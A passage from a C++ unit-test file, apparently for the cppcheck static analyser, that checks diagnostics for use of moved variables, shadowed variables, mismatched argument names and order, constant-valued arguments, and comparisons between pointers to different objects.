errout_str());\n }\n\n void moveResetMoveReset() {\n check(\"void h(A a);\\n\"\n \"void f() {\"\n \" A a;\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a.reset(b);\\n\"\n \" h(a);\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a.reset(b);\\n\"\n \" h(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:8:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndFunctionParameter() {\n check(\"void g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:6:11]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndFunctionParameterReference() {\n check(\"void g(A & a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndFunctionParameterConstReference() {\n check(\"void g(A const & a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:6:11]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndFunctionParameterUnknown() {\n check(\"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning, inconclusive) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:5:11]: (warning, inconclusive) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndReturn() {\n check(\"int f(int i) {\\n\"\n \" A a;\\n\"\n \" A b;\\n\"\n \" g(std::move(a));\\n\"\n \" if (i)\\n\"\n \" return g(std::move(b));\\n\"\n \" return h(std::move(a),std::move(b));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:24]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndClear() {\n check(\"void f() {\\n\"\n \" V v;\\n\"\n \" g(std::move(v));\\n\"\n \" v.clear();\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void movedPointer() {\n check(\"void f() {\\n\"\n \" P p;\\n\"\n \" g(std::move(p));\\n\"\n \" x = p->x;\\n\"\n \" y = p->y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (warning) Access of moved variable 'p'. [accessMoved]\\n\"\n \"[test.cpp:5:9]: (warning) Access of moved variable 'p'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndAddressOf() {\n check(\"void f() {\\n\"\n \" std::string s1 = x;\\n\"\n \" std::string s2 = std::move(s1);\\n\"\n \" p = &s1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void partiallyMoved() {\n check(\"void f() {\\n\"\n \" A a;\\n\"\n \" gx(std::move(a).x());\\n\"\n \" gy(std::move(a).y());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndLambda() {\n check(\"void f() {\\n\"\n \" A a;\\n\"\n \" auto h = [a=std::move(a)](){return g(std::move(a));};\"\n \" b = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveInLoop()\n {\n check(\"void g(std::string&& s);\\n\"\n \"void f() {\\n\"\n \" std::string p;\\n\"\n \" while(true)\\n\"\n \" g(std::move(p));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:21]: (warning) Access of moved variable 'p'. [accessMoved]\\n\", errout_str());\n\n check(\"std::list g(std::list&&);\\n\"\n \"void f(std::listl) {\\n\"\n \" for(int i = 0; i < 10; ++i) {\\n\"\n \" for (auto &j : g(std::move(l))) { (void)j; }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: (style) Variable 'j' can be declared as reference to const [constVariableReference]\\n\"\n \"[test.cpp:4:36]: (warning) Access of moved variable 'l'. [accessMoved]\\n\",\n errout_str());\n }\n\n void moveCallback()\n {\n check(\"bool f(std::function&& callback);\\n\"\n \"void func(std::function callback) {\\n\"\n \" if(!f(std::move(callback)))\\n\"\n \" callback();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (warning) Access of moved variable 'callback'. [accessMoved]\\n\", errout_str());\n }\n\n void moveClassVariable()\n {\n check(\"struct B {\\n\"\n \" virtual void f();\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" void f() override {\\n\"\n \" auto p = std::unique_ptr(new D(std::move(m)));\\n\"\n \" }\\n\"\n \" D(std::unique_ptr c) : m(std::move(c)) {}\\n\"\n \" std::unique_ptr m;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void forwardAndUsed() {\n check(\"template\\n\"\n \"void f(T && t) {\\n\"\n \" g(std::forward(t));\\n\"\n \" T s = t;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (warning) Access of forwarded variable 't'. [accessForwarded]\\n\", errout_str());\n }\n\n void moveAndReference() { // #9791\n check(\"void g(std::string&&);\\n\"\n \"void h(const std::string&);\\n\"\n \"void f() {\\n\"\n \" std::string s;\\n\"\n \" const std::string& r = s;\\n\"\n \" g(std::move(s));\\n\"\n \" h(r);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:7]: (warning) Access of moved variable 'r'. [accessMoved]\\n\", errout_str());\n }\n\n void moveForRange()\n {\n check(\"struct C {\\n\"\n \" void f() {\\n\"\n \" for (auto r : mCategory.find(std::move(mWhere))) {}\\n\"\n \" }\\n\"\n \" cif::category mCategory;\\n\"\n \" cif::condition mWhere;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveTernary()\n {\n check(\"void gA(std::string);\\n\" // #12174\n \"void gB(std::string);\\n\"\n \"void f(bool b) {\\n\"\n \" std::string s = \\\"abc\\\";\\n\"\n \" b ? gA(std::move(s)) : gB(std::move(s));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int gA(std::string);\\n\"\n \"int gB(std::string);\\n\"\n \"void h(int);\\n\"\n \"void f(bool b) {\\n\"\n \" std::string s = \\\"abc\\\";\\n\"\n \" h(b ? gA(std::move(s)) : gB(std::move(s)));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int gA(int, std::string);\\n\"\n \"int gB(int, std::string);\\n\"\n \"int h(int);\\n\"\n \"void f(bool b) {\\n\"\n \" std::string s = \\\"abc\\\";\\n\"\n \" h(b ? h(gA(5, std::move(s))) : h(gB(7, std::move(s))));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void movePointerAlias()\n {\n check(\"void f() {\\n\"\n \" std::string s;\\n\"\n \" std::string s1 = std::move(s);\\n\"\n \" const std::string* s_p = &s;\\n\"\n \" s_p->size();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:8]: (warning) Access of moved variable '.'. [accessMoved]\\n\", errout_str());\n }\n\n void funcArgNamesDifferent() {\n check(\"void func1(int a, int b, int c);\\n\"\n \"void func1(int a, int b, int c) { }\\n\"\n \"void func2(int a, int b, int c);\\n\"\n \"void func2(int A, int B, int C) { }\\n\"\n \"class Fred {\\n\"\n \" void func1(int a, int b, int c);\\n\"\n \" void func2(int a, int b, int c);\\n\"\n \" void func3(int a = 0, int b = 0, int c = 0);\\n\"\n \" void func4(int a = 0, int b = 0, int c = 0);\\n\"\n \"};\\n\"\n \"void Fred::func1(int a, int b, int c) { }\\n\"\n \"void Fred::func2(int A, int B, int C) { }\\n\"\n \"void Fred::func3(int a, int b, int c) { }\\n\"\n \"void Fred::func4(int A, int B, int C) { }\");\n ASSERT_EQUALS(\"[test.cpp:3:16] -> [test.cpp:4:16]: (style, inconclusive) Function 'func2' argument 1 names different: declaration 'a' definition 'A'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:3:23] -> [test.cpp:4:23]: (style, inconclusive) Function 'func2' argument 2 names different: declaration 'b' definition 'B'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:3:30] -> [test.cpp:4:30]: (style, inconclusive) Function 'func2' argument 3 names different: declaration 'c' definition 'C'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:7:20] -> [test.cpp:12:22]: (style, inconclusive) Function 'func2' argument 1 names different: declaration 'a' definition 'A'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:7:27] -> [test.cpp:12:29]: (style, inconclusive) Function 'func2' argument 2 names different: declaration 'b' definition 'B'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:7:34] -> [test.cpp:12:36]: (style, inconclusive) Function 'func2' argument 3 names different: declaration 'c' definition 'C'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:9:20] -> [test.cpp:14:22]: (style, inconclusive) Function 'func4' argument 1 names different: declaration 'a' definition 'A'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:9:31] -> [test.cpp:14:29]: (style, inconclusive) Function 'func4' argument 2 names different: declaration 'b' definition 'B'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:9:42] -> [test.cpp:14:36]: (style, inconclusive) Function 'func4' argument 3 names different: declaration 'c' definition 'C'. [funcArgNamesDifferent]\\n\", errout_str());\n }\n\n void funcArgOrderDifferent() {\n check(\"void func1(int a, int b, int c);\\n\"\n \"void func1(int a, int b, int c) { }\\n\"\n \"void func2(int a, int b, int c);\\n\"\n \"void func2(int c, int b, int a) { }\\n\"\n \"void func3(int, int b, int c);\\n\"\n \"void func3(int c, int b, int a) { }\\n\"\n \"class Fred {\\n\"\n \" void func1(int a, int b, int c);\\n\"\n \" void func2(int a, int b, int c);\\n\"\n \" void func3(int a = 0, int b = 0, int c = 0);\\n\"\n \" void func4(int, int b = 0, int c = 0);\\n\"\n \"};\\n\"\n \"void Fred::func1(int a, int b, int c) { }\\n\"\n \"void Fred::func2(int c, int b, int a) { }\\n\"\n \"void Fred::func3(int c, int b, int a) { }\\n\"\n \"void Fred::func4(int c, int b, int a) { }\\n\",\n true, false);\n ASSERT_EQUALS(\"[test.cpp:3:16] -> [test.cpp:4:16]: (warning) Function 'func2' argument order different: declaration 'a, b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:5:12] -> [test.cpp:6:16]: (warning) Function 'func3' argument order different: declaration ', b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:9:20] -> [test.cpp:14:22]: (warning) Function 'func2' argument order different: declaration 'a, b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:10:20] -> [test.cpp:15:22]: (warning) Function 'func3' argument order different: declaration 'a, b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:11:16] -> [test.cpp:16:22]: (warning) Function 'func4' argument order different: declaration ', b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\", errout_str());\n }\n\n // #7846 - Syntax error when using C++11 braced-initializer in default argument\n void cpp11FunctionArgInit() {\n // syntax error is not expected\n ASSERT_NO_THROW(check(\"\\n void foo(int declaration = {}) {\"\n \"\\n for (int i = 0; i < 10; i++) {}\\n\"\n \"\\n }\"\n \"\\n \"));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void shadowVariables() {\n check(\"int x;\\n\"\n \"void f() { int x; }\");\n ASSERT_EQUALS(\"[test.cpp:1:5] -> [test.cpp:2:16]: (style) Local variable 'x' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"int x();\\n\"\n \"void f() { int x; }\");\n ASSERT_EQUALS(\"[test.cpp:1:5] -> [test.cpp:2:16]: (style) Local variable 'x' shadows outer function [shadowFunction]\\n\", errout_str());\n\n check(\"struct C {\\n\"\n \" C(int x) : x(x) {}\\n\" // <- we do not want a FP here\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (cond) {int x;}\\n\" // <- not a shadow variable\n \" int x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int size() {\\n\"\n \" int size;\\n\" // <- not a shadow variable\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #8954 - lambda\n \" int x;\\n\"\n \" auto f = [](){ int x; }\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { int x; }\");\n ASSERT_EQUALS(\"[test.cpp:1:12] -> [test.cpp:1:21]: (style) Local variable 'x' shadows outer argument [shadowArgument]\\n\", errout_str());\n\n check(\"class C { C(); void foo() { static int C = 0; } }\"); // #9195 - shadow constructor\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct C {\\n\" // #10091 - shadow destructor\n \" ~C();\\n\"\n \" void f() {\\n\"\n \" bool C{};\\n\"\n \" }\\n\"\n \"};\\n\"\n \"C::~C() = default;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // 10752 - no\n check(\"struct S {\\n\"\n \" int i;\\n\"\n \"\\n\"\n \" static int foo() {\\n\"\n \" int i = 0;\\n\"\n \" return i;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" int i{};\\n\"\n \" void f() { int i; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:20]: (style) Local variable 'i' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"struct S {\\n\"\n \" int i{};\\n\"\n \" std::vector v;\\n\"\n \" void f() const { for (const int& i : v) {} }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:4:38]: (style) Local variable 'i' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"struct S {\\n\" // #10405\n \" F* f{};\\n\"\n \" std::list fl;\\n\"\n \" void S::f() const;\\n\"\n \"};\\n\"\n \"void S::f() const {\\n\"\n \" for (const F& f : fl) {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:8] -> [test.cpp:7:19]: (style) Local variable 'f' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"extern int a;\\n\"\n \"int a;\\n\"\n \"static int f(void) {\\n\"\n \" int a;\\n\"\n \" return 0;\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:1:12] -> [test.c:4:9]: (style) Local variable 'a' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #12591\n \" int g = 0;\\n\"\n \" return g;\\n\"\n \"}\\n\"\n \"int g() { return 1; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #13888\n \" int i;\\n\"\n \" friend int f() { int i = 5; return i; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownArgument() {\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g((x & 0x01) >> 7);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Argument '(x&0x01)>>7' to function g is always 0. It does not matter what value 'x' has. [knownArgument]\\n\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g((int)((x & 0x01) >> 7));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: (style) Argument '(int)((x&0x01)>>7)' to function g is always 0. It does not matter what value 'x' has. [knownArgument]\\n\", errout_str());\n\n check(\"void g(int, int);\\n\"\n \"void f(int x) {\\n\"\n \" g(x, (x & 0x01) >> 7);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:20]: (style) Argument '(x&0x01)>>7' to function g is always 0. It does not matter what value 'x' has. [knownArgument]\\n\",\n errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void h() { return 1; }\\n\"\n \"void f(int x) {\\n\"\n \" g(h());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g(std::strlen(\\\"a\\\"));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g((int)0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(Foo *);\\n\"\n \"void f() {\\n\"\n \" g(reinterpret_cast(0));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" x = 0;\\n\"\n \" g(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f() {\\n\"\n \" const int x = 0;\\n\"\n \" g(x + 1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f() {\\n\"\n \" char i = 1;\\n\"\n \" g(static_cast(i));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char *yytext;\\n\"\n \"void re_init_scanner() {\\n\"\n \" int size = 256;\\n\"\n \" yytext = xmalloc(size * sizeof *yytext);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const char *c) {\\n\"\n \" if (*c == '+' && (operand || !isalnum(*c))) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8986\n check(\"void f(int);\\n\"\n \"void g() {\\n\"\n \" const int x[] = { 10, 10 };\\n\"\n \" f(x[0]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int);\\n\"\n \"void g() {\\n\"\n \" int x[] = { 10, 10 };\\n\"\n \" f(x[0]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Variable 'x' can be declared as const array [constVariable]\\n\", errout_str());\n\n check(\"struct A { int x; };\"\n \"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" A y;\\n\"\n \" y.x = 1;\\n\"\n \" g(y.x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // allow known argument value in assert call\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" ASSERT((int)((x & 0x01) >> 7));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9905 - expression that does not use integer calculation at all\n check(\"void foo() {\\n\"\n \" const std::string heading = \\\"Interval\\\";\\n\"\n \" std::cout << std::setw(heading.length());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9909 - struct member with known value\n check(\"struct LongStack {\\n\"\n \" int maxsize;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void growLongStack(LongStack* self) {\\n\"\n \" self->maxsize = 32;\\n\"\n \" dostuff(self->maxsize * sizeof(intptr_t));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11894\n check(\"struct S {\\n\"\n \" int *p, n;\\n\"\n \"};\\n\"\n \"S* g() {\\n\"\n \" S* s = static_cast(calloc(1, sizeof(S)));\\n\"\n \" s->n = 100;\\n\"\n \" s->p = static_cast(malloc(s->n * sizeof(int)));\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11679\n check(\"bool g(int);\\n\"\n \"void h(int);\\n\"\n \"int k(int a) { h(a); return 0; }\\n\"\n \"void f(int i) {\\n\"\n \" if (g(k(i))) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11889\n check(\"struct S {\\n\"\n \" int a[5];\\n\"\n \" void f(int i);\\n\"\n \"}\\n\"\n \"void g(int);\\n\"\n \"void S::f(int i) {\\n\"\n \" if (a[i] == 1) {\\n\"\n \" a[i] = 0;\\n\"\n \" g(a[i]);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11927\n check(\"void f(func_t func, int i) {\\n\"\n \" (func)(i, 0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { void operator()(int, int); };\\n\"\n \"void f(int i) {\\n\"\n \" S()(i, 1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int& r) {\\n\"\n \" g(static_cast(r = 42));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"void f(int i) {\\n\"\n \" const int a[] = { i - 1 * i, 0 };\\n\"\n \" auto s = S{ i - 1 * i };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (style) Argument 'i-1*i' to init list { is always 0. It does not matter what value 'i' has. [knownArgument]\\n\"\n \"[test.cpp:4:19]: (style) Argument 'i-1*i' to constructor S is always 0. It does not matter what value 'i' has. [knownArgument]\\n\",\n errout_str());\n\n checkP(\"#define MACRO(X) std::abs(X ? 0 : a)\\n\"\n \"int f(int a) {\\n\"\n \" return MACRO(true);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownArgumentHiddenVariableExpression() {\n // #9914 - variable expression is explicitly hidden\n check(\"void f(int x) {\\n\"\n \" dostuff(x && false);\\n\"\n \" dostuff(false && x);\\n\"\n \" dostuff(x || true);\\n\"\n \" dostuff(true || x);\\n\"\n \" dostuff(x * 0);\\n\"\n \" dostuff(0 * x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Argument 'false&&x' to function dostuff is always 0. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\"\n \"[test.cpp:5:18]: (style) Argument 'true||x' to function dostuff is always 1. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\"\n \"[test.cpp:6:15]: (style) Argument 'x*0' to function dostuff is always 0. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\"\n \"[test.cpp:7:15]: (style) Argument '0*x' to function dostuff is always 0. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\", errout_str());\n }\n\n void knownArgumentTernaryOperator() { // #10374\n check(\"void f(bool a, bool b) {\\n\"\n \" const T* P = nullptr; \\n\"\n \" long N = 0; \\n\"\n \" const bool c = foo(); \\n\"\n \" bar(P, N); \\n\"\n \" if (c ? a : b)\\n\"\n \" baz(P, N); \\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkComparePointers() {\n check(\"int f() {\\n\"\n \" const int foo[1] = {0};\\n\"\n \" const int bar[1] = {0};\\n\"\n \" int diff = 0;\\n\"\n \" if(foo > bar) {\\n\"\n \" diff = 1;\\n\"\n \" }\\n\"\n \" return diff;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:15] -> [test.cpp:5:8] -> [test.cpp:3:15] -> [test.cpp:5:14] -> [test.cpp:5:12]: (error) Comparing pointers that point to different objects [comparePointers]\\n\",\n errout_str());\n\n check(\"bool f() {\\n\"\n \" int x = 0;\\n\"\n \" int y = 0;\\n\"\n \" int* xp = &x;\\n\"\n \" int* yp = &y;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9] -> [test.cpp:4:15] -> [test.cpp:3:9] -> [test.cpp:5:15] -> [test.cpp:6:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\"\n \"[test.cpp:4:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:5:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"bool f() {\\n\"\n \" int x = 0;\\n\"\n \" int y = 1;\\n\"\n \" return &x > &y;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9] -> [test.cpp:4:12] -> [test.cpp:3:9] -> [test.cpp:4:17] -> [test.cpp:4:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\",\n errout_str());\n\n check(\"struct A {int data;};\\n\"\n \"bool f() {\\n\"\n \" A x;\\n\"\n \" A y;\\n\"\n \" int* xp = &x.data;\\n\"\n \" int* yp = &y.data;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:7] -> [test.cpp:5:15] -> [test.cpp:4:7] -> [test.cpp:6:15] -> [test.cpp:7:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\"\n \"[test.cpp:5:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:6:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct A {int data;};\\n\"\n \"bool f(A ix, A iy) {\\n\"\n \" A* x = &ix;\\n\"\n \" A* y = &iy;\\n\"\n \" int* xp = &x->data;\\n\"\n \" int* yp = &y->data;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10] -> [test.cpp:3:12] -> [test.cpp:5:15] -> [test.cpp:2:16] -> [test.cpp:4:12] -> [test.cpp:6:15] -> [test.cpp:7:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\"\n \"[test.cpp:5:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:6:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"bool f(int * xp, int* yp) {\\n\"\n \" return &xp > &yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:1:14] -> [test.cpp:2:12] -> [test.cpp:1:23] -> [test.cpp:2:18] -> [test.cpp:2:16]: (error) Comparing pointers that point to different objects [comparePointers]\\n\",\n errout_str());\n\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" int y = 1;\\n\"\n \" return &x - &y;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9] -> [test.cpp:4:12] -> [test.cpp:3:9] -> [test.cpp:4:17] -> [test.cpp:4:15]: (error) Subtracting pointers that point to different objects [subtractPointers]\\n\",\n errout_str());\n\n check(\"bool f() {\\n\"\n \" int x[2] = {1, 2}m;\\n\"\n \" int* xp = &x[0];\\n\"\n \" int* yp = &x[1];\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:4:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"bool f(const int * xp, const int* yp) {\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(const int & x, const int& y) {\\n\"\n \" return &x > &y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& g();\\n\"\n \"bool f() {\\n\"\n \" const int& x = g();\\n\"\n \" const int& y = g();\\n\"\n \" const int* xp = &x;\\n\"\n \" const int* yp = &y;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {int data;};\\n\"\n \"bool f(A ix) {\\n\"\n \" A* x = &ix;\\n\"\n \" A* y = x;\\n\"\n \" int* xp = &x->data;\\n\"\n \" int* yp = &y->data;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:6:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct S { int i; };\\n\" // #11576\n \"int f(S s) {\\n\"\n \" return &s.i - (int*)&s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"int f(S s1, S s2) {\\n\"\n \" return &s1.i - reinterpret_cast(&s2);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:12] -> [test.cpp:2:15] -> [test.cpp:3:43] -> [test.cpp:3:18]: (error) Subtracting pointers that point to different objects [subtractPointers]\\n\",\n errout_str());\n\n check(\"struct S { int a; int b; };\\n\" // #12422\n \"int f() {\\n\"\n \" S s;\\n\"\n \" return &s.b - &s.a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void unusedVariableValueTemplate() {\n 